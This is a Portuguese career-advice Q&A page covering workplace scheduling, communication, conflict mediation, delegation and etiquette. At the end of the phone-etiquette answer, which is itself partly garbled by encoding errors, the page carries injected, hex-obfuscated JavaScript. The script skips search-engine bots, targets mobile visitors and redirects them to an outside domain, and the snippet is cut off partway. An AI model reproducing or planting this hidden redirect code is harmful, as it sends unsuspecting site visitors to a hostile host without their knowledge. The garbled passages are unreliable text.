Conexão Profissioanal

Sou uma pessoa organizada, planejo sempre meus compromissos de trabalho e pessoais, mas meu gestor tem por hábito programar compromissos e reuniões sem me consultar. Como faço para conseguir que ele considere minha agenda?

Quando situações como esta acontecem, não é adequado simplesmente dizer ao gestor que você já tinha outro compromisso inadiável, principalmente se for de ordem pessoal. Para sair desta saia justa e evitar que casos assim aconteçam novamente, é preciso ter tato.

Uma boa dica é conversar com ele sobre as dificuldades que está enfrentando diante das mudanças imprevistas na agenda. Procure negociar o que é prioridade e o que precisar deixar para depois quando essas situações ocorrerem. Estabeleça com ele alguns acordos para esse tipo de situação como, por exemplo, quando não poderá flexibilizar a sua agenda e quem pode auxiliar em algumas situações emergenciais.

É preciso também ter flexibilidade para compreender as demandas emergenciais e manter o foco nos resultados. Por fim, coloque-se sempre numa postura de compreensão sem ficar na defensiva. Este tipo de atitude irá contribuir e muito na construção de uma boa imagem profissional.

Temos tecnologias cada vez mais acessíveis para nos comunicarmos com as pessoas. Então, por que ainda escutamos muitas queixas sobre a comunicação dos gestores com as equipes?

Uma comunicação fluida e eficaz é um requisito indispensável em qualquer ambiente de trabalho. Saber transmitir uma mensagem, garantindo que esta vai ser corretamente percebida por quem a recebe é, sem dúvida alguma, um ponto chave nas relações profissionais.

Casos de falta de comunicação no ambiente corporativo muitas vezes acontecem, primeiramente, porque só ter os instrumentos não é suficiente para que as mensagens cheguem adequadamente para todos os envolvidos. Para comunicar bem, é preciso que cada gestor tenha o processo de comunicação como ferramenta de gestão.

O gestor não pode esquecer que é de responsabilidade dele transmitir informações relevantes que impactam o trabalho dos profissionais e sentir como foi a recepção dessas mensagens. Também deve dar retorno sobre as demandas, mesmo que seja para dizer que ainda não tem uma resposta. Assim a equipe não se sente “esquecida”.

É fundamental ainda utilizar alguns recursos para a melhoria da comunicação. Por exemplo, marcar reuniões sistemáticas com a equipe, com dia, hora e pauta bem definida, ajuda no acompanhamento pessoal das demandas. Utilizar ferramentas tecnológicas como intranet e e-mail para comunicados formais e até mesmo aplicativos de mensagens instantâneas como o Whatsapp para avisos e questões rápidas também são boas estratégias. Mas deve-se Um email, por exemplo, deve ser curto e objetivo. O destinatário é quem deve responder, mesmo quando é necessário copiar outras pessoas. Se o assunto exigir muitas explicações, é melhor ligar diretamente para a pessoa ou marcar uma reunião.

Por fim, é importante lembrar sempre que comunicação é via de mão dupla. Saber ouvir e não só falar é essencial, valorizando a opinião, questionamentos e sugestões da equipe e, com isso, ganhando mais respeito e atenção deles.

Acabei de ser promovido a gerente e me deparei com o primeiro conflito na minha equipe. Como lidar com essa situação sem perder o controle do grupo?

Essa é uma situação corriqueira para todos os gestores, especialmente difícil para os mais novos na função. O papel de mediador de conflitos faz parte das responsabilidades de todos os gerentes. Aprender a lidar com essa situação é fundamental. Portanto, em casos de conflitos na equipe, alguns cuidados devem ser tomados.

Primeiramente, é importante compreender que qualquer conflito pode servir como indutor de mudanças e melhorias. Se o gestor encarar o conflito dessa forma, poderá trabalhar a sua solução de maneira produtiva.

Também é importante compreender a origem do conflito – o que está em jogo e as razões que podem estar por trás da discordância. Ouvir os envolvidos é fundamental antes de tomar decisões. Procure conversar com todos os que estão envolvidos e perguntar a razão da discordância. Depois de ouvir individualmente, medie uma conversa entre os profissionais. Se o caso envolve, por exemplo, um procedimento de trabalho, procure ajudar a chegar num acordo considerando o que seria o melhor resultado para a área e a empresa. Combine as responsabilidades de cada um na solução.

Alem disso, deve-se utilizar sempre as normas e diretrizes da empresa para tentar resolver a situação. Elas ajudam a tomar uma decisão levando em conta o bem coletivo. Ao final, definir encaminhamentos e fechar acordos sobre a solução com os envolvidos é fundamental. Todos devem se comprometer com o que for definido.

Mediar conflitos não é uma tarefa fácil, mas, quando bem feita, pode ser uma grande fonte de avanços na gestão de equipes.

Meu gestor está em uma viagem de trabalho e me deixou na coordenação da equipe. Mas, nesse meio tempo, surgiu um problema inesperado. O que devo fazer? Tenho autonomia para decidir por ele?

Situações nas quais assumimos uma responsabilidade por delegação são muito comuns no mundo corporativo. Mas casos como este exigem atenção em alguns aspectos: a primeira delas é um acordo mínimo sobre quais problemas o profissional pode resolver sem precisar consultar o gestor e quais os que têm que ser validados pelo gestor.

Muitas vezes, nos deparamos com situações para as quais não temos autonomia para tomar decisões. Por isso, toda vez que o profissional assume uma nova posição na empresa, é importante que alguns acordos de funcionamento estejam claros.

Autonomia significa poder responder por algo. Mas isso não significa que você possa tomar decisões a seu bel prazer. Para decidir é importante saber os seus limites, consultar as diretrizes da empresa e alinhar antecipadamente com seu gestor alguns pontos fundamentais.

Mesmo assim, tomar decisões sempre é um risco. Você precisa estar disposto a assumi-los para poder ocupar uma posição de destaque.

Minha babá faltou e não tenho com quem deixar meu filho. Posso levá-lo para o trabalho?
Nessas situações, cada caso deve ser avaliado individualmente. Consultar as regras da empresa e o gestor antes de tomar uma decisão é fundamental. Às vezes, o medo do chefe não entender é pior do que a realidade. Quando se usa da honestidade, muitas vezes nos surpreendemos com a compreensão dos outros.

Um ponto a ser levado em consideração é se o ambiente é propicio para receber uma criança, sem oferecer riscos a ela ou prejuízos à empresa. Se for um local restrito, a ordem é não levar. É melhor justificar a falta e propor uma maneira de compensar as horas perdidas depois.

Além disso, levar uma criança para o local de trabalho pode atrapalhar o desempenho profissional do (a) pai/mãe. Outra alternativa é, sempre que possível, tentar o home office. Assim, a produtividade não fica prejudicada. Se seu trabalho permitir esse tipo de prática, vale a pena usá-la.

E lembre-se de manter um plano b para essas situações. Babá substituta ou uma creche de confiança podem ser boas opções para deixar o filho sem ter que passar pela angústia dele estar mal assistido ou de ver seu desempenho profissional prejudicado.

Não tenho experiência em gestão mas meu chefe me delegou a gestão de um grupo de trabalho na empresa. O que devo fazer para ter sucesso?

Em alguns momentos, seu gestor pode entregar a coordenação de algum projeto a você. Montar a equipe de trabalho, estabelecer diretrizes e conquistar um lugar de líder não são coisas triviais. E para estabelecer este lugar, dois fatores são fundamentais.

O primeiro é a legitimação pelo chefe. Ele deve fazer as devidas apresentações à sua nova equipe e avisar que você será responsável pela coordenação. O segundo fator é a sua própria postura para ocupar este lugar.

É importante não “inflar” o ego só porque está em lugar de destaque. Manter uma postura colaborativa e propor uma distribuição de atividades considerando as competências é fundamental.

Outras dicas também são importantes para quem quer coordenar bem: decidir sobre situações que fogem do convencional consultando o gestor, mas sempre levando propostas de soluções; pedir e levar em consideração as opiniões da equipe; dar retorno ao grupo sobre o que é possível e, principalmente, quais sugestões não serão implantadas ou quais são fundamentais, explicando as razões.

E, principalmente, lembre-se que quem coordena é responsável por acompanhar a execução e pelo cumprimento de prazos e, para isso, é preciso monitorar todas as etapas do processo.

Certamente você já se deparou, no ambiente de trabalho, com frases do tipo: “pra mim fazer”, “fazem cinco anos”, “vimos por meio desta informar que…”. Erros de português são bastante comuns, entretanto, tropeçar constantemente na gramática pode prejudicar a sua carreira.

Ninguém está imune a cometer erros de português no dia a dia, mas é importante estar atento no modo de falar e escrever, principalmente em ambientes formais. Um erro fatal, principalmente para quem está concorrendo a uma vaga de emprego, é tropeçar na concordância.

Expressões como “a gente somos” ou “não tem poblema”, são mais frequentes do que se pensa. Mas é certo que há erros que quase passam despercebidos e há aqueles que saltam aos olhos e acabam prejudicando o profissional.

Portanto, é importante cuidar do conhecimento e domínio da língua culta. No caso das comunicações escritas, também é fundamental reler o texto para verificar se não cometeu algum erro relacionado à ortografia ou mesmo ao significado das palavras. Analisar se o texto está coerente também é importante, afinal quem vai recebê-lo precisa ter a informação mais clara possível.

Uma dica para quem precisa desenvolver a habilidade de comunicação é incrementar a leitura. Escolha livros e revistas com assuntos que goste e leia muito. Quem lê, melhora a escrita. E se as dúvidas forem maiores, procurar um curso de língua portuguesa é imprescindível.

Estou em uma reunião com um cliente importante e começo a me sentir mal. Como devo agir para não dar vexame em uma situação como esta?

Sentir um mal estar é algo que pode acontecer com qualquer pessoa. Caso você não se sinta bem durante uma reunião ou apresentação de trabalho, e se for possível, o ideal é conseguir segurar um pouco, esperar o momento oportuno e informar que precisará fazer um pequeno intervalo.

Se a situação for séria, o mais prudente é falar sobre sua condição discretamente, sem fazer um grande alarde. Diga que não está passando bem e que precisará remarcar a reunião. Não se desesperar nesse momento é fundamental tanto para a saúde, como para a imagem.

No caso de efetivamente passar mal na frente do cliente ou do chefe, ai sim será uma situação mais constrangedora. Mantenha a calma e procure o setor médico da empresa. Peça a ajuda de alguém presente à reunião. E, tão logo seja possível, agradeça a compreensão dos presentes e remarque o encontro para outro momento.

O celular Ai?? praticamente uma extensA?o de mim. Nele, tenho todos os meus contatos, acesso aos e-mails e redes de relacionamento importantes para o meu trabalho. Mas como posso aproveitar tantos benefAi??cios sem ser inconveniente?

Ainda que o telefone celular seja um recurso cada vez mais necessA?rio nos dias de hoje, Ai?? preciso ter limites ao usA?-lo, principalmente, dentro do ambiente de trabalho e locais pA?blicos. Passar muito tempo conversando ou trocando mensagens, falar alto ou escolher um toque barulhento sA?o apenas alguns dos erros que os profissionais cometem. Por isso, se vocA? realmente precisa utilizar o celular, que tal fazer isso com bons modos?

Se vocA? estA? em alguma reuniA?o ou sala da empresa, Ai?? fundamental deixA?-lo no silencioso para nA?o atrapalhar a concentraAi??A?o dos colegas. Outra gafe horrAi??vel e muito comum Ai?? falar alto no celular no meio da rua, dentro do restaurante ou no salA?o de beleza, por exemplo. Ambientes de trabalho e pA?blicos pedem discriAi??A?o. Falar baixo Ai?? fundamental.

Se estiver Ai?? mesa com alguAi??m, procure evitar ficar olhando para o celular o tempo inteiro. NinguAi??m quer ser audiA?ncia cativa de uma conversa de terceiros ou sentar em silA?ncio enquanto seu companheiro de almoAi??o ou jantar troca mensagens com alguAi??m.
E, por fim, se a ligaAi??A?o for urgente e vocA? tiver que atender ao chamado, informe que precisarA? atender, desculpe-se e se afaste. Afinal, ninguAi??m precisa ouvir o que vocA? estA? falando.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Meu colega de trabalho tem uma visão diferente da minha. Nossas divergências são acentuadas e ele acabou levando questões profissionais para o lado pessoal. Como posso lidar com essa situação?

As diferenças estão por toda parte e nem sempre é fácil lidar com elas. Diariamente, em situações profissionais, precisamos conviver com a opinião e o conjunto de crenças e valores, sejam de ordem profissional, sejam de caráter pessoal.

Esse processo enriquece a equipe, pois cada um, a partir de suas perspectivas, tem capacidade de sugerir alternativas e enfrentamentos diferentes, incrementando o ambiente profissional e o potencial da empresa.

Todavia, para isso acontecer, o ideal é que saibamos lidar positivamente com os embates de visões ou ideais. Caso isso não aconteça e as discussão perca o enquadramento profissional, recomenda-se, primeiramente, esperar a poeira baixar. Não adianta argumentar no calor da emoção.

Com calma, devemos procurar pensar as razões de o colega ter se ofendido. Faça uma autorreflexão e só em seguida, chame-o para uma conversa particular para falar sobre o fato e as dificuldades que vem percebendo. Vale a pena alertar e que esse distanciamento é ruim para vocês, como profissionais, e para o ambiente de trabalho. Escute o que ele tem a dizer e considere. Explicite o que lhe chateou e também esclareça que as divergências não são pessoais.

Em resumo: devemos buscar um acordo, um entendimento. Ainda que a amizade não possa ser refeita, devemos procurar manter, ao menos, um ambiente profissional saudável.